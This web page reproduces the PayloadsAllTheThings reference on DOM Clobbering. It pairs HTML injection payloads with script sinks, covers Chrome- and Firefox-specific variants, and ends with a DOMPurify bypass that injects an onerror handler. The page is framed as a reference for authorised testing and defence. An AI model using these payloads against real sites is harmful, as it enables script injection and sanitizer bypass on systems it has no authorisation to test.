Skip to content

Payload topic

DOM Clobbering

DOM Clobbering is a technique where global variables can be overwritten or "clobbered" by naming HTML elements with certain IDs or names. This can cause unexpected behavior in scripts and potentially lead to security vulnerabilities.

Passages
3
Bounty reports
of this class
3 passages
Contents
  1. DOM Clobbering
  2. Methodology
  3. Tricks

DOM Clobbering

SourceOn the Atlas

> DOM Clobbering is a technique where global variables can be overwritten or "clobbered" by naming HTML elements with certain IDs or names. This can cause unexpected behavior in scripts and potentially lead to security vulnerabilities.

Methodology

SourceOn the Atlas

Exploitation requires any kind of `HTML injection` in the page. - Clobbering `x.y.value` ```html // Payload <form id=x><output id=y>I've been clobbered</output> // Sink <script>alert(x.y.value);</script> ``` - Clobbering `x.y` using ID and name attributes together to form a DOM collection ```html // Payload <a id=x><a id=x name=y href="Clobbered"> // Sink <script>alert(x.y)</script> ``` - Clobbering `x.y.z` - 3 levels deep ```html // Payload <form id=x name=y><input id=z></form> <form id=x></form> // Sink <script>alert(x.y.z)</script> ``` - Clobbering `a.b.c.d` - more than 3 levels ```html // Payload <iframe name=a srcdoc=" <iframe srcdoc='<a id=c name=d href=cid:Clobbered>test</a><a id=c>' name=b>"></iframe> <style>@import '//portswigger.net';</style> // Sink <script>alert(a.b.c.d)</script> ``` - Clobbering `forEach` (Chrome only) ```html // Payload <form id=x> <input id=y name=z> <input id=y> </form> // Sink <script>x.y.forEach(element=>alert(element))</script> ``` - Clobbering `document.getElementById()` using `<html>` or `<body>` tag with the same `id` attribute ```html // Payloads <html id="cdnDomain">clobbered</html> <svg><body id=cdnDomain>clobbered</body></svg> // Sink <script> alert(document.getElementById('cdnDomain').innerText);//clobbbered </script> ``` - Clobbering `x.username` ```html // Payload <a id=x href="ftp:Clobbered-username:Clobbered-Password@a"> // Sink <script> alert(x.username)//Clobbered-username alert(x.password)//Clobbered-password </script> ``` - Clobbering (Firefox only) ```html // Payload <base href=a:abc><a id=x href="Firefox<>"> // Sink <script> alert(x)//Firefox<> </script> ``` - Clobbering (Chrome only) ```html // Payload <base href="a://Clobbered<>"><a id=x name=x><a id=x name=xyz href=123> // Sink <script> alert(x.xyz)//a://Clobbered<> </script> ```

Tricks

SourceOn the Atlas

- DomPurify allows the protocol `cid:`, which doesn't encode double quote (`"`): `<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//">`

For testing systems you own or are authorised to test, and for defending them. Nothing here is run by this page. From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky. The repository. Data as of 2026-11-15.